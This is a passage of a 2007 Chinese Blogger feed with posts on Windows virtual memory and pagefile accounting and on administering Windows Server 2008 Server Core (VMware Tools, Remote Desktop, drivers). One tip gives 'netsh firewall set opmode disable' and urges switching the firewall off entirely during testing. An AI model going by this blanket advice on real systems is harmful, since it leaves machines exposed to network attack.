/&gt;W代表映射到RAM中的部分（Working Set），P代表页出的部分。&lt;br /&gt;&lt;br /&gt;         0 …………………2GB独占内存……………… 2G ………2GB共享内存……… 4G&lt;br /&gt;进程1    |--PPPP---------------WW-----PPPP--------|&lt;br /&gt;             \\\\              ||      \\\\&lt;br /&gt;              \\\\             ||       \\\\&lt;br /&gt;               \\\\            ||        ||||     |--PPPPPPPPPPPP--WWWWWWWW--|&lt;br /&gt;           exe2 exe1   dll  RAMemory pagefile.sys    ||||||||||||  ||||||||&lt;br /&gt;           ||||       ///   //\  /     ||    |     共享内核/dll等 共享RAM空间&lt;br /&gt;进程2    |-PPPP------PPP---WW--WW------PP----P----|&lt;br /&gt;&lt;br /&gt;然后，任务管理器的进程页中的“内存”就是上图中的W，&lt;br /&gt;所以所有进程的内存项加起来肯定比实际用的RAM大，因为有共享部分&lt;br /&gt;此外还有重复引用，比如上图中进程2独占内存中第二和第三个W指向同一段RAM空间。&lt;br /&gt;&lt;br /&gt;而任务管理器进程页中的“虚拟内存”就是上图中右半部分，“独占VAS”。&lt;br /&gt;可见pagefile只是其中的一部分，而RAM，只要用于独占VAS，一样计入了该处“虚拟内存”。&lt;br /&gt;&lt;br /&gt;最后，实际的页面文件用量（pagefile.sys中实际使用部分），&lt;br /&gt;可以在性能监视中看到，即Paging File下的% Usage和% Usage Peak&lt;br /&gt;配合当前pagefile.sys的大小就可以计算出字节数，&lt;br /&gt;这个值可以做为设定页面文件最小值的一个参考，&lt;br /&gt;而不是用任务管理器进程页的所有进程的虚拟内存大小相加做为页面文件最小值的参考。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-6743779099343817331?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/6743779099343817331/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=6743779099343817331' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6743779099343817331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/6743779099343817331'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/11/zz.html' title='【zz】虚拟内存，物理内存，页面文件，还有任务管理器'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-7153125622452814474</id><published>2007-11-16T15:36:00.000+08:00</published><updated>2007-11-16T16:25:51.185+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VMware'/><category scheme='http://www.blogger.com/atom/ns#' term='RemoteDestkop'/><category scheme='http://www.blogger.com/atom/ns#' term='2008Server'/><title type='text'>Windows 2008 server core的一些有用tips</title><content type='html'>&lt;span style="font-family:arial;"&gt;2008 server core没有GUI，管理全靠命令行。下面是作为QA知道会比较方便的tips：&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;1.&lt;/span&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;在2008 server core上安装VMware tools&lt;/span&gt;&lt;span style="font-family:arial;"&gt;：&lt;/span&gt;&lt;br /&gt;&lt;a style="font-family: arial;" href="http://www.expta.com/2007/09/how-to-install-vmware-tools-in-windows.html"&gt;这里&lt;/a&gt;&lt;span style="font-family:arial;"&gt;的步骤讲的很清楚，同一网站上还提供了&lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.expta.com/2007/09/how-to-change-screen-resolution-on.html#links"&gt;如何改变屏幕解析度&lt;/a&gt;&lt;span style="font-family:arial;"&gt;，&lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.expta.com/2007/09/windows-server-2008-hibernation.html#links"&gt;改变睡眠设置&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;2.启动romotedesktop&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;cscript c:\windows\system32\scregedit.wsf /AR 0 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;启动完就可以远程登录玩了&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;3.传输文件&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;2008自带了ftp服务，用来传送文件应该最为稳定。如果不用自带服务，从远程ftp下载文件，需要把防火墙关了&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;netsh firewall set opmode disable&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;测试时，强烈建议关了防火墙，不然总有些莫名其妙的问题，关了一了百了&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;4. 在2008 server core上增加新硬件&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;pnputil -i -a &lt;/span&gt;&lt;driverinf style="font-family: arial;"&gt; ; driverinf is the file name of the .inf file for the driver&lt;/driverinf&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-7153125622452814474?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/7153125622452814474/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=7153125622452814474' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/7153125622452814474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/7153125622452814474'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/11/windows-2008-server-coretips.html' title='Windows 2008 server core的一些有用tips'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7915715382238652912.post-9022805939701752674</id><published>2007-03-02T14:06:00.000+08:00</published><updated>2007-03-02T14:07:09.319+08:00</updated><title type='text'>hello world!</title><content type='html'>Welcome!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7915715382238652912-9022805939701752674?l=0gnir.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0gnir.blogspot.com/feeds/9022805939701752674/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7915715382238652912&amp;postID=9022805939701752674' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/9022805939701752674'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7915715382238652912/posts/default/9022805939701752674'/><link rel='alternate' type='text/html' href='http://0gnir.blogspot.com/2007/03/hello-world.html' title='hello world!'/><author><name>Hushlight</name><uri>http://www.blogger.com/profile/06699702913215165283</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://1.bp.blogspot.com/_Yf8VRZH0rTQ/S5CIh3E_yjI/AAAAAAAAEDY/pkDohaXsQQg/S220/IMG_2429-1.JPG'/></author><thr:total>0</thr:total></entry></feed>
